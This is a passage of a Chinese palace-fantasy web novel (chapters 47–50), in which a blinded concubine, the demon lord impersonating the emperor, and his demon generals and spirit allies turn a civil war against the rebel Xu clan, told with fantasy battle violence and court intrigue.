精怪不像人类,他们嬉笑怒骂,举止怪诞,下手却又要人命,蛇姥姥拄着蛇头杖,下手就要人命,手段狠毒,满身都是毒气,分叉的舌头吐出大股青雾,离她最近的叛军吸入毒雾,痛苦地抓挠脸和脖子,倒在地上。
关楼下的恶战变得愈发奇怪起来,虽然依旧敌众我寡,乱军中冒出个蛇似的老妇,并一个十四五岁的少年,年纪小却一身邪术,还有一些莫名其妙的动物,黄鼠狼彬彬有礼,一副浮夸的武生把式,一边道歉,一边身形飘忽,时隐时现,窜入人群照着敌军脖颈的大动脉就咬。
他们像是来助阵的,杀伤力并不强出训练有素的禁军许多,却以折磨人为乐,带着未开化的兽性,在叛军中制造恐慌。中了毒的叛军,皮肉融化,变成一滩冒着泡的黄水,比干脆利落地死在剑下还要痛苦万状。
徐敦的军队有许多经惯沙场的老兵,见那来历不明的老妇手段如此毒辣,被吓得纷纷后撤,无人敢接近她。
“你们来这里做什么?”魔情见到初九等一干精怪,很是诧异。
“我在风泽山,算出来沈娘子有危险,但还是来晚了,对不住,陛下。”狐狸记得此前的承诺,搬来了好几个救兵。
沈纨不知魔情暗中的人情,把她的安危托付给了风泽山这些精怪,只觉得这小狐狸挺仗义,她同狐狸的伙伴们只能算萍水相逢的情分,她也没什么可供利益交换的价值,却几次得到了帮助。
叛军的人数是鹿鸣关守军的几倍,久攻不下,反而士气有被压倒的趋势,上百弓弩手针对小皇帝万箭齐发,也没能将他射成刺猬,反倒将领军的将官折了进去。鏖战一天一夜,天色微明,而就在此时,鹿鸣关东面的平原传来号角的声音,远方军旗猎猎,并州的援军奉刺史周王之命驰援京城。
天狼卫也发现东边来了援军,这么一来,一场敌众我寡的攻城战演变成势均力敌的两军对垒在所难免,天狼卫低估了鹿鸣关的守军数量,如今将官又死,形势完全不占优,副将权衡之下,决定先行退兵,再做谋划。
于是这场敌众我寡,我方却占尽声势的恶战就此结束。
有了援军,鹿鸣关的军势颇具规模,但徐敦掌兵数十万,难以长久固守,粮草也是个问题,短暂休整后,全军弃守鹿鸣关,大军东行,前往周王治下的并州,届时,将会在河东重整军势,集结力量,共讨乱臣贼子。
在一夜鏖战之后,太阳从东边默默地冒出头来,迎着初升的朝阳,大军弃了鹿鸣关,浩浩荡荡,一同向东而去。
47. 他不太行
玄武营的忠君之士和鹿鸣关的守军与周王派来的并州军合流,不到五千的军队,披星戴月地赶往并州。
小皇帝萧誉十四岁登基,就遇上皇叔淮王因素有不臣之心而掀起叛乱,但淮王空有野心,却不善掌兵,被时任龙武将军的徐敦压下,仅仅过了四年,世家权力膨胀,再度掀起叛乱,这一次,皇帝离开了京城。
年少的天子领着宠妃和自己的母亲仓皇出逃,无论如何都极不光彩,四年前的萧誉仅有十四岁,还可说根基不稳,但现在,沈纨时常会想,这当中有多少是这魔公子蓄意挑唆的结果?
大军在赶往并州途中遇见了一众从南边逃难来的流民,言称归鸿川下游决口,殃及沿岸四州,以及下辖的数十县。
归鸿川乃齐境大川,两岸平原素为鱼米之乡,现在正是隆冬时节,秋季爆发的洪灾,京城竟然闻所未闻,洪水泛滥冲垮农田,入冬之后税赋并未有所稍减,秋粮交不出,不得已逃离家园。
军队收下这一百来流民,继续东行。
数千将士日夜兼程,在第五日抵达并州,驻扎在城外兵营,流民亦得安置。并州刺史周王萧演乃是天子叔父,善于用兵,但素来病弱,且腿脚有疾,行动不便,常年坐在轮椅上。
周王府已经提前打点停当,迎天子及太后住下,沈纨住进了离天子最近的居所,有婢女日夜照料,但她内心隐藏着秘密,不免显得心事重重,众人知她失明未久,常来劝慰,当然安慰不到点子上,失明的生活固然难熬,却比不上知道身边有三个来历不明,动机不明的魔物更令她不安,因为他们的出现,这个国家,实际上,真的已经没有皇帝了。
唯一可喜的,就是她总算和双亲团聚了,到了并州才明白,魔公子提前把沈景外调,与周王提前做好了准备,使得援军在宫变之时及时赶到,她现在不但可以时常见到母亲,还与福锦和蒹葭白露重聚,她们都因为这一提前的安排而免去了危险。
并州并不平静,由于她距离天子的住所很近,魔公子并不因为所谓的军机大事对她有所避讳,所以她常常能得知最新的消息,并州兵力仅三万,难以抵御徐敦数十万军队袭境,如今徐氏拥立了那又老又胖的福王为新帝,周王也没闲着,传书四方,呼吁各州刺史驰援并州。
今日正巧香房内无人,她起身之时不知碰倒了什么,那个物件从桌上滚落,恰逢此时进来一人,脚步轻微,直至来到她面前,沈纨才有所察觉,对方敏捷地接住了她碰掉的东西。
她听到对方轻轻唔了一声,是魔公子,他语气讶然:“你还留着这个?”
东西塞回她手里,原来是雕刻了她形貌的人参娃娃,母亲在花神院替她求来一只,太后又送她一只,原本凑作一对,寓意吉祥,是来自长辈的祝福,愿她与天子交百年之好,愿皇家子嗣绵延,这东西是求子用的,这一片好意,全错付了。
蒹葭家中做木匠生意,她自己平时也会做精巧的小东西,本想将两个人参娃娃略作雕琢,刻成她和天子形貌,但只做成一件,另一个人参娃娃就被魔公子没收了。
她知道小皇帝萧誉的模样,却从未认识他,和她日夜相处的魔主,连他生得什么样都不知道。寺庙里倒是见过降魔图,但佛画里的恶鬼,生得青面獠牙,一副血口,不是喷蛇就是喷火,多臂多目,也不知他有没有一个魔相是那般形貌。
沈纨略定了定神,才回他:“多日不见,公子接下来有何打算?”
“且先把眼下的烂摊子先收拾了。”
“你有办法?徐氏如今拥兵四十万,且多为精锐,这可不是一个小数目。”并州兵力仅三万,敌众我寡,如今二主分立,江山有易主之危,兵戈之祸。
“看着吧,他应该很快就要倒霉了。”徐家的气运树被饕餮吞噬得一干二净,他接下来其实只需顺势而为,天道对徐氏失去了庇护,爬得越高,摔得就越是凄惨。
他语气懒懒的,但越是如此,越让沈纨感受到一种深不可测的危险,她迟疑道:“公子该不会,把他们都诅咒了吧?”
那些家伙还不值他费这份心,但魔情未及回答,门外听得人声,前院有仆役跪下请安,太后领着医官来探访沈纨。
她起身请安,太后道:“好了,你身体不适,坐下吧。”
有女医上前来替她把脉,忧虑道:“娘子脉息紊乱,这两日可有认真休息?每日预备的药,也得按时服用才是。”
“多劳姑姑费心,许是日前随军昼夜赶路所致,再休息一阵子就好了。”
女医探她脉息,分明是重症之象,内心又是疑惑又是担忧。
她在望月台遭遇意外,本该殒命,是魔息保护了她,但后果是,她现在满身魔气,脉象完全不正常,请来什么名医都不可能瞧出她真实的情况。
太后长叹一口气,这一个两个的身体都不好,皇帝此前有大半年因伤病弱,且失明,才好了没几个月,又轮到沈婕妤出了意外,也失明,也不知是妨了什么,轮流遭逢此劫。
她瞧见沈纨手中的人参娃娃:“原来你还带上了这个,你们这几个月都在一起,怎么腹中始终没有动静?”
沈纨面上一热,她如今已知魔公子底细,知道此事办不到,不由攥紧了人参娃娃不语。
而魔情在旁答:“母亲,国难当前,哪有这心思。”
京师被拥立为帝的福王年老肥胖,子嗣不丰,亦不成器,福王世子素有个“呆相公”的绰号,性格非常昏傻。而周王秉性忠直,为人聪慧,生得也好,却身有痼疾,膝下只得一个七岁的世子,只是过于年幼。已故的反王若是能活到现在,也在壮年,资质出色,面对幼帝就生了不臣之心,在天子继位未久便发动叛乱,淮王子嗣倒是有不少,但兵败身死,后代也不能幸免,如今皇族子嗣凋零,怨不得太后见到人参娃娃触景生情,内心焦虑。
她和先帝感情淡漠,诞下
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先皇之子对她来说并不愉快,对萧誉的爱只因他是她的孩子,但一国之君后代无继却是大事,无法不认真对待。
魔情自然知晓原因,这才是真的被诅咒了,其开端能追溯几代之前。
太后叹息:“从京城至此,遇到归鸿川逃难的百姓,与亲族多有离散,天伦不易,你继位至今又多有磨难,虽然还年轻,倘若做了父亲,也许性子也能较之如今更稳当些,你可知,琴瑟和谐的夫妻之间有一个孩子,有多么不易。”
魔情看向太后身边的亲随,命众人都退下,房中只留下了他们三人。
“母亲,周王虽有疾,还病不至死,世子年幼但身体康健,母亲不如早做准备。”
太后脸色一变:“皇儿这是何意?”
沈纨在旁边静听着,心下黯然,他在为退出做准备。或许,未来史籍之上,本朝第五任皇帝萧誉,是个英年早逝,壮志未酬的天子。
“母亲,孩儿怕是难再有后嗣,当早做准备,好生教养周王世子。”
“你……你这是说的什么话?”
“御龙台坠崖落下了病根,此后不可能再有皇嗣了。”
谢太后面色青红不定:“你可曾让太医来瞧过?”
“母亲说笑,这种事怎么能让太医知道,徐氏那么多眼线,若是他们早知晓儿不能人道,朕于他们更无利用价值,只会更早动手。”他开始胡说八道。
沈纨在旁听他胡扯,哭笑不得,遗憾自己没法看见他现在的表情,又很为太后难过,她还不知道皇帝已不在人世的消息,岂止有隐疾,未来说不定还会早逝,对太后来说还会遭遇重大的打击。
“那你和徐妃又是怎么回事?你此前几乎日夜都和她在一起?”
“没那回事,徐妃要面子,怎好意思说出口,只可惜了她母亲和祖母,烧香拜佛,寻医问药,白费了许多功夫。”其实徐兰宁一进帝寝就躺得人事不知,偶尔梅妃会刮着阴风飘出来,却因为忌惮魔族而不敢造次。
“那么,之前沈婕妤滑胎的那个孩儿,就是你们唯一的孩子了?”
天!她都忘了,在医案上她还是个滑过一胎的可怜妃子。
这下真是跳到黄河都洗不清了。
魔情也在这时停了下来,把这个烫手山芋般的问题抛给了她,让她来做选择。
“沈婕妤,此事你来回答吧。”
太后转向沈纨:“沈婕妤,你和皇帝是怎么回事。”
沈纨有些迟疑,到底该怎么解释,真实情况无法和盘托出,就算是部分的,她因被梅妃附体而诊断出喜脉,这位身世可怜的亡国公主先后被太祖和太宗皇帝纳入后宫,有了身孕后被太宗皇帝的徐皇后谋害,这是天家祖上的污点,而皇宫里竟然有恶灵长期作祟,不免要吓到太后。
思量再三,觉得大事当前,还是不宜多生枝节,只好含糊以对:“唔……陛下确实……近来,有点不太行……”
48. 谁喜欢谁? “你喜欢她吗?”
魔情在旁边皱眉盯着沈纨看,她的回答过于含蓄,语气有所保留,这样是无法说服太后的,果然,谢明璋只是敛容严肃地问道:“皇帝会不会只是身体没有调理好?”
“假的。”魔情决定不给谢太后继续幻想的机会,直接道出实情。
太后还未从他的话语反应过来,他继续强调:“母后,皇嗣也是假的。”
虽然实情不可能尽述,但至少,梅妃那部分过往对他而言没什么值得遮掩的必要,他将沈纨曾被附体之事,后宫的红梅苑有怨灵长期存在,悉数告诉了太后。这位亡国公主先后被齐国两任帝王所占,最后被太宗皇帝的徐皇后剖腹取子,她的怨气祸及萧氏和徐氏子孙后代,以至于宗室也十分凋零。
如今,天子只是自称不会再有后代,已经算是相对温和的坏消息。
太后对梅妃之事显得极为吃惊,震惊之余,似乎又被戳中了什么,沉默下来,过了好久才道:“可你毕竟平安出生了。你父皇也长期被太医诊断为有不足之症,他钟爱的杜若为他怀过五个孩子,她滑胎三次,出世后又夭折两个,无一活下来。后来钦天监反复占算,从民间选出命中有贵子的女子入宫,但……”
谢明璋突然变得心事重重,叹息道:“其实孤入宫前,你外公暗中遣人改过命书,将孤的生辰八字描述得贵不可言,入宫后孤虽与你父皇情分寡淡,也没料到你会出世,但你现在就是孤无可取代的孩子,可见世事难料。你可还记得自己抓周时摸到的凤凰羽?几度大难不死,这总有些老天的庇护在。”
当今天子年少英俊,聪慧勤勉,相比昏聩愚蠢的福王,病病歪歪的周王,资质的确算是最佳,但他也在年初就死了。
而那个夺取天子性命的凶手,现在就在她和太后面前。
意识到这个可怕的事实,沈纨突然有些如坐针毡,魔气在她体内窜动。
太后发现她看起来很是疲惫,“看样子,婕妤也该休息了。”
她决定离去,但天子却说:“朕还有几句私话要和沈婕妤说,说完再走。”他这么做,不免又造成了加倍的误解,太后认真地看了看他们二人。
“皇帝很中意这孩子是吗?”这实际上不是一个问句,只是个感慨,“情投意合的感情千金难觅,既如此,你们还不认真听医官的话,你春猎后受伤,孤就屡次听闻,你不肯好好吃药。若调养好身体,说不定会有奇迹呢?否则,未来选秀不可避免。”
“多谢殿下挂怀,妾身会好好吃药的。”沈纨心绪颇为复杂地送别了太后。
她想起最初得知自己要参加选秀时的心情,并不能说很情愿,但也很快调节好了心情,她没有一定要出头冒尖的野心,琴棋书画都会一点,得宠是运气,失宠了也不缺消磨时间,聊以自娱的爱好和消遣,她在银杏居那几个月恰好就是这么过的。
但没想到,皇帝竟然不是人,而她,既做不了宠妃,也算不得叛军檄文里的妖妃,也效法不了什么历史上的贤妃,皇宫里本就没有皇帝,她却莫名其妙入宫,现在失明,一身魔气,身边还有一群妖怪。
有冰凉的指尖触摸她的脸颊。
“你把眼睛闭上。”魔情道。
“我现在本来也看不见啊。”
“随便,你就是睁着眼睛想也没关系。”他要她想象自己体内的气息汇聚于一个中心,然后慢慢地流向他告诉她的身体经络,原来魔公子在帮她梳导体内混乱的魔气,片刻后,她感觉从刚才昏昏沉沉的状态中清醒了些。
“想不想听故事?”
“什么故事?”
“太后刚才说的,因先帝子嗣不丰,皇家根据钦天监的建议从民间选出命格带贵子的女子入宫,你我都有过几面之缘那位凤鸣姑娘,就是当年入宫的女子之一。”
“什么?!”
“冷静一点,不要那么激动。”她魔气一时间混乱,魔情把手放在她的脸颊上,再往下,他的手像冰雪一样凉,划过她的脸颊和细白的脖子,弹压她混乱的魔气,这种摸法,对于一个闺阁女子,男性至亲都不可如此冒犯,而仅限于闺房之私,但面前的魔族青年却对此无动于衷,把手放在她脖子上,再往下就要碰到肩膀了。
“我……我知道了。”她心脏直跳,努力让自己冷静下来。
“但是杜若,连续没了五个孩子,后来就有些疯了,把这些悲剧迁怒于后宫诸妃,其中一个和凤鸣交好的女子因此含冤而死,凤鸣性格刚烈,她给杜若素来自傲的美貌上留下一个伤口,逃出了宫廷。
“谢太后知道她的计划,虽然不曾直接出面,但设法襄助凤鸣离宫,还了她自由,后来甚至好生安葬了那个妃子。”
不知道这是不是凤鸣后来舍身相救的原因,沈纨暗想,太后能平安离宫有她和那位高姓剑客的功劳。
“而太后有孕之后,为避杜若锋芒,自请前往上阳宫养胎,及至快临盆时,才回到紫宸殿,国丈谢相紧张皇嗣,请来僧众举办法会,昼夜诵经,祈祷皇后安产。生下皇子后,谢后又带着这孩子侍奉佛祖三年,不问世事,由此避开了梅妃的怨气。”
谢后作为一国之母,竟然因为宠妃不得不离宫,简直是亘古未有之奇事,没想到因祸得福,反而平安生下当今天子。
“这么说来,太后相比杜若夫人和凤鸣,倒算是幸运的。”
“你这样想吗?她对先帝没有丝毫情意,年少时极不情愿地被父兄送入宫,嫁给大自己十几岁的男人,第一次侍寝就怀上龙嗣,后宫长期有跋扈的宠妃兴风作浪,你觉得谢后会是怎样的心情?”
她只知道谢太后为先帝继妻,元后是她的亲姐姐,因此民间对这对姐妹有大小谢后之称,元后与先皇没有子女,而小谢后入宫就立刻生下当今天子,她入宫前在花神院无心插柳求来的人参娃娃,因此成为京城,甚至整个齐国女子求子时的流行。
没想到当事人并不愉快。
“公子如何知道这些的?”
“初到皇庭,
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我的部下搜过太后的魂。”
魔气瞥见沈纨的表情,她现在对他已经很是忌惮,微微有点不悦:“此事非必要不会多为,我对你们做过什么不感兴趣。”
正说着话,忽然沈纨双手捧起他的手,头微微侧过来,嘴唇贴到他的指尖上。
魔情愣住,但他立刻就明白发生了什么。
像她这样的人类少女,在他这个位阶的魔面前,几乎不存在有效防备,很轻易就可以被肆意入侵操纵,他能激发出凡人的七情六欲,尤其是负面情绪,令贪者愈贪,惰者愈惰,权欲炽盛者,得王爵就会想要帝位,嫉妒的,又令其沉溺于痛苦煎熬,做出破坏行为。
而沈纨,好像有点动情,露出一种沉浸在依恋中的姿态。
十七八岁的少女,又生得眉目如画,不施粉黛,像清晨初开的花朵,以鲜艳红润的嘴唇去碰他的指尖。
他现在没有披着小皇帝的皮囊,纯粹是一副银色的面具做出伪装,现在面具被取下,就是个银发的魔族青年,体格远超出普通的人类男性,半透明的身体,一只手按在桌案上,微微倾身托起面前少女的脸。
沈纨很快就反应过来,发现自己以一种很亲昵姿态把脸放在他手上,慌张地推开他的手,身体往后缩了缩,“抱歉,我好像有点不清醒了。”
他们恰好就在这个时候被打扰了,有女医在门外恭敬地敲门,送来了一碗刚煎好的药和一些食物。
“放着吧,朕会看着婕妤好好吃药的。”
女医把托盘放下,乖乖退了出去,太后特地嘱咐过,要让沈婕妤好生服药,君命又不敢不从,但无论怎么看,陛下竟能拔冗亲自照料失明的沈婕妤,这对帝妃实在是再恩爱没有了。
门才关上,沈纨就听到了稀里哗啦的声音,魔情把药倒进一旁绿植里,明明太后也才嘱咐过她,要好好听医官的话,她内心感到很是抱歉。
“你可以理解我当初的心情了吧?”他当时伪装成重伤的小皇帝,也不需要吃药,却也得整日应付数不清的汤汤水水和补品。
“公子,别把那盆栽烫死了。”
“一点冰冻的术法,没什么大不了的,你要是喜欢,我可以把这些都冻成冰让你扔着玩。”
“那就不用了。”沈纨干笑。
刚才那点暧昧像风短暂掠过水面,涟漪平息,湖面归于平静。魔情离开之时,却觉得指尖留下了轻柔的触感,魔不像人类有那么轻薄的灵魂,更接近一种化身,所以,他能体会到实际的感受,那种轻柔地吻在指尖的感觉。
还有她闭着眼睛,捧着他的手沉浸在其中的姿态。
被诱惑了,但是浑然不觉,而且很是美丽。
如果能轻易地激发出这样的情感,也许可以问她一个问题,但沈纨在清醒的状态下,极有可能否认,或者,连她自己都未必明白。
他不太想知道答案,既不想听到她承认,也不想听到她否认。
如月,你喜欢我吗?
49. 月蚀
午夜,整个周王府寂然无声,自打失明以后,沈纨时常睡得不太好,总是会陷入光怪陆离的梦境,今夜在梦中见到一轮满月高悬,洒落一地清晖,夜色清朗,没有一丝云雾,突然间黑暗袭来,似有阴影般的魔兽靠近,然后吃掉了月亮。
她从梦中惊醒了,身边的寂静告诉她,天色未明,依稀记得身边侍奉的婢女稍早之前提过日子,每月的十五日王府会供奉神明,正好又逢供奉之日,夜晚却梦见了异象,回忆起梦中被吞食的满月,内心很是困惑,但她同时又困得很,很快又睡着了。
翌日清晨,她已完全记不起梦里见到的一切,如此又过去几日,沈纨这一日午膳后和曹姑姑闲坐在庭院之内,外院有些骚动,许多人在说话,曹姑姑出去打听消息,带回来一个意想不到的喜讯,并州的守军在临近青州的白鹭关意外地打嬴了一场奇袭战。
早在沈景外调并州之时,就已经和周王在积极为徐氏的反心做准备,天子来到并州之后,徐敦也并未耽搁太久,不到一个月,就派心腹大将领兵望并州而来,沿途还拿下了通往并州必经的青州,青州兵力不足,被徐军围住,刺史出降,徐军在此地整军几日,大军继续东进,却在临近白鹭关时遭遇了意想不到的大败。
消息回传并州,军心大振,白鹭关的守军也因此受到嘉奖,事后复盘缘由,却发现此役荒唐得很,白鹭关的守军胜得有如神助,显得徐氏的败因极为愚蠢。
徐敦的军队于月前拘了青州刺史,留下副将守城,主力继续向并州进发,留下的军队在青州筹措粮草。岂料这运粮官有些迷信,其人来自玄兔郡,该地敬拜月神娘娘,运粮队伍东进欲与徐氏大军合流,途中遇上天狗食月,东南不吉,于是绕行一条小路,为此延误了些许时间,就在这两个时辰内,被白鹭关派出的巡逻将士发现,伏击后将运粮官俘虏,问出行军计划。随后,白鹭关将士易服混入徐家军中,并伪造徐敦的军令,令其改动行军策略。
在里应外合之下,混入徐军的白鹭关守军在粮草中混入泻药,又引大军使用附近泽地瘴气重又不净的水源,粮草受到污染,水质又不净,引发大量徐家的军队腹痛不止,白鹭关将士趁夜放火为信,以极少的兵力突袭徐军大营,斩杀了徐敦的一员大将,有大量士兵在此期间泻得东倒西歪,好好的精锐之师一溃而散,其副将收拾残军,败退而去。
这和魔情原本的计划不符,魔将被他部署在白鹭关,意欲针对本次出征的将领发动伏击,饕餮本就喜欢战争,此举正合他心意。没想到压根轮不到魔将出手,白鹭关的守军自行逮住了徐军改道运粮的队伍,引导了一场奇袭。
徐氏气运散尽后,效果好到魔族竟然不需要动作,仅仅因为迷信,就导致了一场大败。
并州的将士和百姓都感到士气大振,而消息传到王府,虽然大部分人对战情细节并不了解,但捷报总是令人喜悦,王府众人也莫不称幸。沈纨内心疑惑得很,不知公子在其中起了什么作用,因为他说过,徐氏要倒霉了,倒霉是有多倒霉?
她现在正在庭院内,忽然听到齐刷刷请安的声音,她身边的人都跪下来。
魔情走进来,见院子里热闹得很,心领神会道:“看来,你已经听说了些消息。”
她身边的侍女官面色喜气洋洋的,都在向天子道喜。
“还想听故事吗?”
“请。”果然有常人不知的内情,沈纨话音才落,就意识到这样极不合礼数,他对她而言已经不是皇帝,但是在人前总是要演一演的,慌忙又添上两句:“请……请陛下解惑,欣闻白鹭关捷报,妾也很是喜悦。”
魔情挥了挥手屏退众人,待四下无人之后才问她:“你知道了多少?”
“王府的婢女只说,昨夜天色昏暗,迫使敌军运粮官改道,因而泄露了军机。”
“并非夜色昏暗那么简单,十日前发生了天狗食月之象,徐军的运粮官迷信月相,引为凶兆,改动了行军路线,被白鹭关外出巡逻的守军抓获,由此审出敌军的部署计划,将他们引入伏击战中。”
“食月之象?”
“但你可知,这几日夜色清明,并不曾有月食。”
魔情的话语却叫她想起此前那幽暗的梦境,梦中的阴影接近,慢慢地吞噬了玉盘般的满月。
“饕餮和混沌来了,他们会说得更明白些。”
沈纨尚在犹豫要不要告诉他自己的梦境,四周的环境突然令人不安地晃动起来,饕餮和混沌现身在庭院之中。
她失明后本该什么都看不见,却不安地察觉到面前出现了两个模糊的影子,存在感强大得令人难以忽略,压力倍增。
随着他们出现,四下的空间也出现了扭曲,身在白天的王府,与午夜的沉寂不同,环境并非完全寂静,风吹树梢的声音,偶尔的鸟鸣,王府中的仆役往来的动静,突然全部消失,魔将们不知道用了什么手段,把他们所处的院子和外界完全地隔离了。
本来就看不见了,还陷入了死一般的寂静,面对三个自称来自魔界的生灵,她的恐惧魔情也感觉到了。
【不会伤害你的,怕什么呢?】她脑海中响起他的话语。
在身份揭露之后,两位魔将在沈纨面前,也不再刻意隐藏身份,饕餮带回了军情的细节。
这几日的确没有月食,但传闻中的天有异象却众说纷纭,有的说看过,有的又说没看过,白鹭关的守军对此也审得不甚明白,最后,成了只有魔族才真正知道实情的悬案。
“是我等的蓝月幽阁。”
在离开京城之后,蓝月幽阁也跟着魔将们部署到了并州,并在前些日子,徘徊在白鹭关上空,魔将原本计划等着即将攻打白鹭关的敌军,蓝月幽阁适时的出现,竟如天狗食月一般,遮蔽了正逢十五的满月,这个不意之举,只在很小的范围引起了蔽月之象,恰好被敌军的运粮官看到,引起他的敬畏,一个小人物的迷信竟然诱发了一场全军大败,继而令徐敦损失了一名有经验的大将。
沈纨并不知晓饕餮
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所言的蓝月幽阁是何物,只是听到魔情在旁边轻轻的笑声,这些魔族,没有直接下场大开杀戒,只是不经意地推波助澜,略施巧计,就引起了战争和溃败。
饕餮很是遗憾没有亲尝人族的血液,混沌反应冷淡,魔公子也不过是平静地笑了笑,化为轻描淡写的四字评价:“真倒霉啊。”
沈纨在旁静听着,他话语中渗透出的冷酷和邪气,她……能感觉到。
这些家伙捏死她和捏死一只蚂蚁差不多,反而没什么必要为难她。
只是感情上,还是没法不觉得害怕。
待两位魔将退下,四周虚无般的寂静也消退了,沈纨平复了下心情,问道:“公子可有出手干预了战况?”
“饕餮和混沌什么也没做,如果你指的是蓝月幽阁,那只是个愚蠢的意外,这样算吗?你应该还不知蓝月幽阁是什么吧?”
她在清醒和不清醒的时候,都各造访过一次,只是,始终不知那是什么,魔情向她简要地解释了一番,他们在人间的居所,以来自远古的幽冥气息和月光所化,所以外在看着像是一轮蓝色的月亮,也可也轻易地隐匿光芒藏于云间。
没想到不经意间的移动,却引发了意想不到的连锁反应。
“这即是公子此前所言的,徐氏将要倒霉了吗?”
“这嘛……若你这么说,我族,姑且也算是干预了吧。”
他思量片刻,觉得吃掉徐氏全族气运之事似乎没什么必要隐瞒,将饕餮此前的吞噬之举告诉了沈纨,多一个观众也是额外的乐趣。
“看着吧,他们,很快就会喝凉水都塞牙了。”
沈纨震惊得一时都不知该说什么。
或者,早在大长公主急病骤然甍逝之时,阴影就已经浮现了。世家百多年来封侯拜相,荣耀至极,小皇帝的接连退让令他们生出不臣之心,要什么给什么,王爵也给,中宫之位也给,天子犯法不与庶民同罪的特权也给,而魔公子索要的,是包括他们全族性命在内,更加深远的代价。
“这一年来,让你受委屈了。”
“啊?不……其实……也没有。”自打知晓他身份之后,沈纨渐渐察觉到他的耐心和冷酷,心中未免多了几分忌惮,现在被他冷不丁这么一说,倒觉有些不好意思,脸竟然红了。
最开始大概有一点委屈,自己不得不出宫的时候,还有得知天子要立后的时候,现在想起来,也都不算什么了。
“谢谢。”她突然道。
不是为了她曾经错认了身份,还产生了依恋之情的少年皇帝,而是对一个来自不同的世界,有点可怕的魔界之主。
素来轻视人类的骄傲魔族能分辨出她情绪里的微妙流转吗?可以,她体内的魔气,让他们有了些许的共感,魔情起初吃了一惊,抱着手凝神看了她一会儿,至少她此刻不像刚才那么惧他了。
混沌刚才为密谈而布置的屏障已经撤下,魔情现在依然以小皇帝的面貌示人,但他的双眸却突然闪过一抹金色的辉光。
50. 说合
并州已然入冬,因备战之需,沈景在履任后积极筹措粮草,如今储备尚属充裕。
寒风日益凛冽,然军营之中的兵士仍操练不辍,铁甲蒙上白霜,高台上站着一员大将,亲自操演众军,他的衣着与众将士相比显得很是单薄,却丝毫无觉,众兵士见他如此,莫不振作精神,丝毫不敢懈怠。
饕餮现在作为天子亲将被引荐到并州大营,周王也被他的威势所慑,饕餮形貌殊异,身量极高,气质野性,他很快接管了训练全军的职责,并州有经验的将官起初见空降一天子亲信,虽摄于他的气势和挺拔的身高,因不闻其名,内心颇感疑虑,甚至有不服者,对他多有提防。多日演练下来,饕餮展现了万军莫敌的勇力,很快慑服众人。
他的名声甚至传到王府内院,这位空降并州大营的将官较常人高出许多,气质慑人,但生得着实不差,并州女子素性奔放,美人爱英雄,因此颇有为其英姿倾倒的女郎,想接近他,苦于不得其法,知道他是天子亲信,于是设法领得差事,来见皇帝钟爱的沈婕妤,好打听消息。
今日就来了一个丫头,央求沈纨:“婕妤娘子,奴婢斗胆,有一心事郁结已久,这才来向娘子打听,铁校尉有妻室了不曾?”
饕餮对外自称姓铁,还是沈纨给他起的姓,起初因一场误会,她误将混沌理解为食物,混沌不曾计较,认下了沈纨给他的云姓。魔情后来让沈纨给饕餮也起一个,她遂取了一个字音,于是如今众人皆呼他为铁校尉。
沈纨知晓他真实身份,忍不住头皮发麻,饕餮都敢亲近?那叫璎珞的婢女甚至备了酒和若干吃食,向沈纨讨主意,想要转交给他。
今日恰逢曹姑姑不在,沈纨身边只有王府的侍女琥珀,虽然年纪轻,但性情妥当,和璎珞还算相熟,听了她的请求,却不甚赞同:“璎珞,你真是越发没规矩了,娘子性情温和,你也不能如此僭越,竟然向贵人托付这样的事。再说,王府的侍婢与陛下身边的武官有私,听起来也不像话,若让周王殿下知道成何体统?”
璎珞抱着食篮站着,央求道:“好姐姐,求你别说出去,我不想受罚,但实在是……”她面有难色地住了嘴。
沈纨听她语气苦恼,也问道:“怎么了?”
“我爹娘这些日子求见王妃,说我年纪到了,要领出府配人,但他们属意的军户子,看着实在野蛮,委实不像良配,爹爹在军营里有差事,有几次我代娘亲去送过冬的衣物,看见铁将军,好不羡慕,所以……所以……”
军营里出现了这么一员年轻英俊,高大威猛的将官,令人心向往之,是人之常情,只是这相中的对象,实在是太过危险了。
沈纨在王府这些日子,对璎珞并不陌生,是个没什么坏心眼的姑娘,为人热情,心肠也好,就是不知道她是希望选个如意郎君,还是就看上了饕餮,沈纨决定暂用缓兵之计,答道:“东西放下吧,我试试。”
“多谢娘子!”璎珞放下了酒和吃食,欢喜地离开了。
院子里侍奉的人甚多,沈纨拿出混沌给她的哨子,又觉得不好直接叫他,试着心里默念:“混沌将军,你现在可在?”
沈纨静候了片刻,果然有了回音:
【沈姑娘有何吩咐?】
“我现在想出府,你可有法子?”
混沌似乎笑了笑:【还请稍待。】
不久后,混沌送信到她的院子里,说天子召沈婕妤出王府,曹姑姑今日不在,但周王妃念及她失明,安排侍奉的婢女并不少,混沌孤身而至,也不知如何能顺利带她出去,沈纨正在纳闷,却听到一个久违的声音:“奴婢阿九,奉陛下旨意,来迎婕妤娘子前去见驾。”
是狐狸!原来混沌还带来了狐狸,初九现在变作姑娘家越发没心理负担,还公然假传圣旨,不过,本来也没有皇帝,所以,和一位魔将溜出王府,只为了凑热闹,还捎带上一只小狐狸,对她来说,也不太有什么心理负担了。
初九假传圣旨,混沌又有天子信物,他们顺利带走了沈纨,却并未乘马车出行,狐狸领着沈纨左转右转,最后在一个地方停下来,她听见瘆人的嘶嘶声,因为熟悉,她现在也并不很惧怕了,是蛇姥姥,沈纨久违地再次上了蛇姥姥的青冥灵蛇车。
狐狸领着蛇姥姥和一群小妖怪在鹿鸣关一战后,蛇姥姥和初九被魔情当成路上收留来的民人,一同去了并州,还让他们住进了王府,而其他的精怪,也随队而行,隐藏在蛇车之内。
周王妃性格仁善,见一个极老,一个年纪又小,遂叮嘱府员好生安排食宿。他们入住王府最偏的青松院,日常进出也无人阻拦,殊不知除了这对奇特的“祖孙”,尚住进去四个精怪,他们略施术法,使得平日里注意和经过青松院的府员变得极少。
沈纨手里提着璎珞给的食篮,里面有她特地预备的金谷酒和银色饼,饼还是热的,能闻到食物的香气,她好奇问混沌:“我有一事想请教,你族……我是说你与饕餮将军,在人间这些时日,平素都会吃些什么?”
混沌瞥了一眼食篮里的东西:“这些我族自然也吃得,不过,沈姑娘若是想送给饕餮……”他似乎想到什么,呼地笑出声:“来得正好,现在过去,还可以看戏。”
“咦,这是何意?”混沌平素寡言少语,但今日怪得很,语气好似在和她开玩笑,透着几分看热闹不嫌事大的愉快。
“我方才回得迟了些,沈姑娘随我过去就知道了。”
“唉,可我看不见呢。”
“不碍事,去便知晓。”
青松院里腾起一片翠雾,青冥蛇灵车跃入云中,沈纨耳畔只听得呼呼的风声。
多日未见狐狸,沈纨问起初九近况,在王府过得如何?这么多天,都没想起他们,她觉得很是抱歉。
